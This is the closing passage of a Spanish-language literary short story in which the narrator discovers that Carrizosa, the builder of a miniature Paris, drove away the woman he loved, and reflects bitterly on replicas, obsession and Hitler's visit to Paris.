En su réplica de la capital más visitada de la Tierra solo faltaba el movimiento, pues allí estaba todo preciosamente definido: el Sena, el Louvre, el Panteón, Los Inválidos, Montparnasse, la Ópera Garnier, los Campos Elíseos, el Arco del Triunfo, la Basílica del Sacré Cœur, el Arco de la Defensa, la Catedral de Notre-Dame, el Museo de Orsay, el Nacional de Historia Natural… Pero había más para abismarse: mediante un complejo de lámparas, velos, cernidores y tubos de riego, se podía ver la ciudad envuelta en las atmósferas de las distintas estaciones. Ante mi estupor, Carrizosa volvió a dejarme a oscuras y al cabo de un momento, activó el mecanismo que mostró, en versión de seis pulgadas, la Torre Eiffel airosa en la ciudad iluminada como la real en medio de la noche.

-¡Qué locura! -exclamé.

-Ahora, usted -dijo acercándose con mirada desafiante-, que ha estado en ella varias veces, dígame, ¿conozco o no París?

No le respondí. Un rato después, al volver del sótano, tuve una iluminación: vi que Borges, Arciniegas y la ironía de mis apuntes habían forzado la dilación, por demás impresionante, de lo que Carrizosa tenía para decirme. Entonces, sintiendo que hacía trizas un enigma, dije:

-Fue Isabel, ¿cierto?

-No pensé decirlo de este modo -aceptó-. Pero sí, fue por ella que dejé abandonado al alemán y fue por él que ella me dejó.

En efecto, tras pedirle discreción dizque para no afligir a Carrizosa, Wagenbach le narró a Isabel el secuestro del que, durante su ausencia, fue víctima en un taxi al querer pasear por Bogotá.

-Pero sabía que ella no me iba a perdonar la canallada.

Luego, aprovechó la situación de Carrizosa para incitarlo a la trampa con el kilo de heroína que, después se supo, le compró a unos rusos. Y aunque la ofensa no fue inferior a la venganza, Isabel acabó actuando a favor de Carrizosa.

-De hecho, sin la intervención de su familia, yo habría tenido que purgar toda mi condena en Alemania. Irónico, ¿no le parece?

-¿Y? -le dije desgarrado-. ¿Era lo que quería decirme? ¿Que ella y usted fueron amantes? Mire, Adolfo, lo nuestro terminó hace dos años…

-Lo sé -dijo-. Yo fui la causa. Cuando me enteré de su romance, le dije que usted y yo éramos amigos, que le había contado intimidades y que por lo mismo, usted jamás la tomaría en serio. Y fue así como logré alejarla, hasta la noche que cenamos en su casa y vi que lo seguía queriendo. Claro, al ver sus atenciones, ella tal vez creyó que a usted no le importaba, pero le importa, ¿no es así? Sé que le importa, y hora, usted va a ser el que se aleje. ¡Y no me entienda mal! La verdad, se lo juro, no la quiero para mí; pero así como ella encarnó una maldición, yo nunca dejaré de ser la suya…

VI

Me alejé de aquella casa, odiándome, recriminándome, torturándome por no haberle arrancado los ojos y las vísceras a Adolfo Carrizosa. Y no fue que careciera de recursos para herirlo, humillarlo y refregarle la pus de su miseria. De hecho, quise decirle cuánto me recordaba a Hitler, cuán parecidas eran sus desgracias. Porque lo eran: en 1918, cuando el entonces cabo del ejército alemán se hallaba a cincuenta kilómetros de París, debió dar marcha atrás para sufrir el Tratado de Versalles. Semejante fiasco, por demás cercano a la gloria de Moisés, le resultó tan humillante que para 1940, cuando invadía casi toda Europa, se hizo fotografiar delante de la Torre Eiffel. Sin embargo, en aquella imagen, el Führer no se siente cómodo, más aún, luce vergonzante, como si perdiera convicción, como si sintiera el hálito de su descomunal derrota. Y con razón: igual que la mujer tomada por la fuerza, París se le rindió, pero no lo recibió, nunca lo acogió, nunca le ofrendó sus dones. Algo similar a lo de Carrizosa: puede que pisara Europa, pero sin alcanzar su meta, sin poder vivirla y saborearla, decidió emplazar aquel montaje, minucioso, detallado, fiel, pero simulacro a fin de cuentas… ¡Cómo quise habérselo gritado! Haberle arrostrado que un signo no es la cosa, que las metáforas apenas son deseos, que los fetiches son tan solo sombras, que una réplica nunca suple el disfrute del vivir. Sin duda lo habría aniquilado, lo habría incinerado en el ácido de su demencia… ¿Y qué? ¿Qué habría ganado? Después de todo -y el miserable lo sabía- mi tragedia era la misma: no había vaciado una ciudad para pisarla, no había emplazado una maqueta para verla, pero como Hitler, como él, de lo que más ansiaba en este mundo, yo tendría solo el fantasma en una pluma inglesa.♦

 

*Jorge Aristizábal Gáfaro

*Este relato fue finalista del premio Juan Rulfo de novela corta y cuento 2009.

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